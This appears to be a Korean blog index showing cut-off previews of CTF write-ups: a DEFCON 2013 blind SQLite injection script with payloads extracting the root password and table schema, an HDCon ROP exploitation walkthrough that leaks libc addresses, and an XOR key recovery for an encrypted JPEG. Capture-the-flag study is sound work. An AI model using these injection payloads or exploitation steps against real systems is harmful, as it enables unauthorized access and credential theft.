본문 바로가기

[defcon 2013] 3dub, babysfirst, exploit sqlite injection 문제. import httplib,urllib; # Blind SQL injection ck = "" referer = "" # barking up the wrong tree -- # setting #toget = "(SELECT password from users where name='root')" #toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" #toget = "(SELECT count() from keys)" #toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" toget = "(SELEC.. 더보기
[HDCon 2013] 5번 문제 write up 처음에 문제를 보자마자, 뭐이리 쉽지 했는데, 그냥 그냥 쉽지는 않았다.버퍼를 왕창 주길래 NX가 없구나 했는데, 그건 아니었던것 같아서 바로 ROP로 전환했다. 근데 문제는, system의 주소값을 모른다는것(offset을 모르는것)과 ROP가 가능한 크기가 유동적이라는것이다.ROP가 가능한 크기가 랜덤이기 때문에, 시스템 주소값을 맞췄더라도 결과가 안나올수도 있고,페이로드의 크기가 커지면 커질수록, 성공률도 줄어든다.그러므로, 페이로드를 작게 만드는게 중요했으나..... 그냥, 계속 반복해서 돌리기로 했다. system의 주소값을 모르는건 크게 문제가 되지 않았다. 어짜피 fork로 되어있으므로, system 주소값은 변하지 않는다.그러므로, puts라던지, recv라던지, 이미 있는 주소값을 구해오.. 더보기
[HDCon 2013] 4번 문제 write up 아주 간단한 문제였다. 우선, 그림판에서 대충 jpg 파일을 만든후, 문제에서 주어진 파일과 비교를 한다.가장 기초중의 기초인 xor을 해보자, 4바이트의 키로 xor을 하고있는것을 알 수 있었다. """ >>> hex(0xBB ^ 0xFF) '0x44' >>> hex(0xCE ^ 0xD8) '0x16' >>> hex(0xDA ^ 0xFF) '0x25' >>> hex(0xE6 ^ 0xE0) '0x6' >>> hex(0x44 ^ 0x00) '0x44' >>> hex(0x06 ^ 0x10) '0x16' 0x44162506 0x06251644 """ f = open('secret.jpg','rb') f2 = open('new.jpg','w') data = f.read() i=0 while i 1; if ( v.. 더보기